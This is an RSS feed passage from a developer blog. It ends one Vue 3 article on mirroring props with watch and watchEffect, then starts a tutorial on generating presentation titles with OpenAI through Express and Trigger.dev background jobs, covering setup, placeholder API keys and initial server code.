&lt;p&gt;&lt;code&gt;() =&gt; props.content&lt;/code&gt;: This is called the “source” function. It should return the value that you want to watch. In this case, it’s the &lt;code&gt;content&lt;/code&gt; value passed from the props.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;() =&gt; { content.value = props.content }&lt;/code&gt;: This is the callback function that gets executed when the source changes. In this case, it assigned the &lt;code&gt;props.content&lt;/code&gt; value to the &lt;code&gt;content&lt;/code&gt; ref.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You may also pass an additional 3rd argument options object such as &lt;code&gt;{ immediate: true }&lt;/code&gt; which means the callback should be run immediately after the &lt;code&gt;watch&lt;/code&gt; gets created, even before the source has changed. This is useful for cases where you want the callback to run initially when setting up the &lt;code&gt;watch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can instead use the &lt;code&gt;watchEffect()&lt;/code&gt; function is a less verbose way to achieve the same result. The &lt;code&gt;watchEffect()&lt;/code&gt; function will be called every time the &lt;code&gt;content&lt;/code&gt; prop hydrates, and will update the value of the &lt;code&gt;content&lt;/code&gt; ref, which will be reflected in the child component.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { watchEffect } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;vue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;watchEffect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  content.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; props.content;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;bonus-using-this-pattern-without-the-setup-syntactic-sugar&quot;&gt;Bonus: using this pattern without the &lt;code&gt;setup&lt;/code&gt; syntactic sugar&lt;/h3&gt;
&lt;p&gt;Here’s a generic re-write to the above, but without using the &lt;code&gt;setup&lt;/code&gt; script convention, demonstrating how our use-case can be achieved using Vue 3’s Composition API:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { ref, watchEffect } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;vue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;props: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    initialData: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: Array, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// change this based on your data type&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ([]), &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// provide a default value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;(props) &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Make a local copy of the received prop&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;props.initialData]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Update local data whenever the prop changes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;watchEffect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      data.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;props.initialData];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Now you can manipulate `data` within your component&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, &lt;code&gt;initialData&lt;/code&gt; is a prop passed from the parent component. The &lt;code&gt;data&lt;/code&gt; reactive variable is a local copy of &lt;code&gt;initialData&lt;/code&gt;. The &lt;code&gt;watchEffect&lt;/code&gt; function is used to update &lt;code&gt;data&lt;/code&gt; whenever &lt;code&gt;initialData&lt;/code&gt; changes, ensuring &lt;code&gt;data&lt;/code&gt; always starts with the current value of &lt;code&gt;initialData&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Since &lt;code&gt;data&lt;/code&gt; is a local copy, it can be freely mutated inside the child component without affecting the prop’s value in the parent component.&lt;/p&gt;</content:encoded></item><item><title>Generating presentation titles using OpenAI background jobs with Node.js, Express and Trigger.dev</title><link>https://lirantal.com/blog/background-jobs-processing-with-node-js-express-trigger-dev/</link><guid>https://lirantal.com/blog/background-jobs-processing-with-node-js-express-trigger-dev/</guid><description>Do you ever struggle to come up with creative presentation titles? Let&apos;s build that while learning how to use Generative AI, Express and Trigger.dev with the OpenAI integration.</description><pubDate>Mon, 04 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this article, you’ll learn how to use OpenAI background jobs with Node.js, Express, and Trigger.dev to generate creative presentation titles automatically. We’re going to build this cool app with the help of LLMs and Generative AI:&lt;/p&gt;
&lt;video controls&gt;
  &lt;source src=&quot;/images/blog/triggerdev-title-generator-1.mp4&quot;&gt;
&lt;/video&gt;
&lt;h2 id=&quot;introduction-to-background-job-processing-in-nodejs&quot;&gt;Introduction to background job processing in Node.js&lt;/h2&gt;
&lt;p&gt;Background job processing is a technique for running tasks that can take a long time to complete in a separate process from the main application server. This allows the main application server to continue to handle requests from users while the background jobs are running.&lt;/p&gt;
&lt;p&gt;There are many reasons why you might want to use background job processing in your Node.js application. For example, you might use it to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Process large files or images via Upstash&lt;/li&gt;
&lt;li&gt;Send email or SMS messages via Twilio&lt;/li&gt;
&lt;li&gt;Query OpenAI for ChatGPT style interactions&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Trigger.dev is an open source project as well as a hosted SaaS platform that is specially-designed (at this point in time) to process short-lived background jobs executed via serverless functions.&lt;/p&gt;
&lt;p&gt;Trigger.dev is thus somewhat different in use-cases and applicability to alternative approaches to background job processing in Node.js that you might be familiar with such as messages queues managed via BullMQ and Redis, or RabbitMQ. The best approach for you will depend on your specific needs and requirements. In this article, we’re focusing on setting up Trigger.dev with an Express application to provide a rudimentary ChatGPT-like interface powered by the OpenAI APIs.&lt;/p&gt;
&lt;h2 id=&quot;about-triggerdev&quot;&gt;About Trigger.dev&lt;/h2&gt;
&lt;p&gt;Trigger.dev is an open-source platform for creating short-lived jobs directly in your Next.js app with API Integrations, webhooks, scheduling and delays. Trigger.dev uses a serverless functions model the job. This is a compelling use-case because serverless functions are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scalable: Serverless functions can be scaled up or down automatically to meet demand, so you don’t have to worry about managing your own infrastructure. This means you can easily re-use the same platform you use for hosting your frontend or fullstack apps: Vercel and Netlify.&lt;/li&gt;
&lt;li&gt;Cost-effective: Serverless functions are only charged when they are running, so you only pay for the resources you use.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I believe the highest value you get from using Trigger.dev is that it allows you to colocate your background job worker with the rest of your application domain, and perhaps more conveniently, it removes any requirements for dedicated hosting because it makes it trivial to use serverless functions for the job processing just as if it was any other API request that you had to serve from your Vercel or Netlify hosting.&lt;/p&gt;
&lt;h2 id=&quot;getting-started-with-a-triggerdev-account&quot;&gt;Getting started with a Trigger.dev account&lt;/h2&gt;
&lt;p&gt;We are going to use the SaaS version of Trigger.dev so we can skip setting up a local instance in our own infrastructure of Trigger.dev.&lt;/p&gt;
&lt;p&gt;So, first head over to &lt;a href=&quot;https://www.trigger.dev&quot;&gt;www.trigger.dev&lt;/a&gt; and create a new account, and setup a new organization and project in which our jobs will be scheduled.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/triggerdev-organization-setup.png&quot; alt=&quot;trigger.dev organization setup&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then click into the project details you created and head over to the &lt;em&gt;Environment &amp;#x26; API Keys&lt;/em&gt; to get a copy of the API key. We’re going to use the &lt;em&gt;Dev Environment&lt;/em&gt; API key so keep a copy of it handy.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/triggerdev-environment_api_keys.png&quot; alt=&quot;trigger.dev environment and API keys&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;setting-up-an-express-project-with-triggerdev&quot;&gt;Setting up an Express project with Trigger.dev&lt;/h2&gt;
&lt;p&gt;I am going to review the parts of the Trigger.dev integration that build into a working Express application in Node.js, all of which is based on a fully functional frontend and backend reference example in a GitHub repository &lt;a href=&quot;https://github.com/lirantal/trigger.dev-express-example-integration&quot;&gt;Trigger.dev Express example&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Our Express application is a full stack app that generates titles using OpenAI API. The project structure provides the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A frontend built with vanilla JavaScript. No frameworks or libraries, which helps keep the complexity down and understand easily.
&lt;ul&gt;
&lt;li&gt;An Express own middleware (&lt;code&gt;express.static()&lt;/code&gt;) is used to serve the HTML, CSS and JavaScript via the &lt;code&gt;public/&lt;/code&gt; directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A backend API that defines the following:
&lt;ul&gt;
&lt;li&gt;A POST endpoint at &lt;code&gt;/api/trigger&lt;/code&gt; that is reserved to communicate with the Trigger.dev platform&lt;/li&gt;
&lt;li&gt;A POST endpoint at &lt;code&gt;/api/titles&lt;/code&gt; that accepts a presentation description and then triggers an event (schedules a background job) to generate a title using the OpenAI API.&lt;/li&gt;
&lt;li&gt;A GET endpoint at &lt;code&gt;/api/titles&lt;/code&gt; that returns the generated title text when the OpenAI API finished processing.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;.env&lt;/code&gt; file that stores the OpenAI and Trigger.dev API keys. The &lt;code&gt;.env&lt;/code&gt; file is ignored in the git workspace, so you can rename the &lt;code&gt;.env.sample&lt;/code&gt; reference as a starting point.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;clone-the-git-repository&quot;&gt;Clone the Git repository&lt;/h3&gt;
&lt;p&gt;Clone the Git repository of the Express app from: &lt;a href=&quot;https://github.com/lirantal/trigger.dev-express-example-integration&quot;&gt;https://github.com/lirantal/trigger.dev-express-example-integration&lt;/a&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;git clone https://github.com/lirantal/trigger.dev-express-example-integration&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;install-dependencies&quot;&gt;Install dependencies&lt;/h3&gt;
&lt;p&gt;Make sure you change directory to the cloned git repository: &lt;code&gt;cd trigger.dev-express-example-integration&lt;/code&gt; and install dependencies:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;populate-api-keys-in-env&quot;&gt;Populate API keys in &lt;code&gt;.env&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Update the &lt;code&gt;.env&lt;/code&gt; file with your OpenAI and Trigger.dev API keys:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;PORT=3000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;TRIGGER_API_KEY=tr_dev_1234&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;OPENAI_API_KEY=sk-1234&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: if you need to use a different port than the default ‘3000’ than you’ll also need to tweak the &lt;code&gt;npm run trigger:dev&lt;/code&gt; run-script command start the tunnel with a different local port binding&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;the-triggerdev-express-integration-walk-through&quot;&gt;The Trigger.dev Express integration walk-through&lt;/h3&gt;
&lt;p&gt;If you’re all too excited you can skip to the next section to start the server locally (totally understandable!), or if you have some patience and want to learn how the Express integration of Trigger.dev works then keep reading.&lt;/p&gt;
&lt;p&gt;We start off by importing all the required dependencies: &lt;code&gt;dotenv&lt;/code&gt; to load the environment variables from &lt;code&gt;.env.&lt;/code&gt; and make it available in &lt;code&gt;process.env&lt;/code&gt;. Load the Express library, and the Trigger.dev SDKs and integrations.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dotenv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;dotenv&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;express&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;TriggerClient&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;eventTrigger&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@trigger.dev/sdk&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;createMiddleware&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@trigger.dev/express&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;OpenAI&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@trigger.dev/openai&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; titleGeneratedText &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dotenv.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’ll notice that we keep a variable &lt;code&gt;titleGeneratedText&lt;/code&gt; to hold the generated title value. By now you’ve realized how naive this application is since it manages no real state or storage.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Notice how we don’t import the official OpenAI SDK and that’s because the Trigger.dev integration is going to handle that for us (it basically mirrors the API and makes it easier to schedule long-running IO jobs like OpenAI requests in which the job worker mostly idles until a response is returned).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Next up we instantiate the Express server setup while making sure we also enable the JSON body parser and URL Encoding middleware functions:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(express.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(express.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;urlencoded&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ extended: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
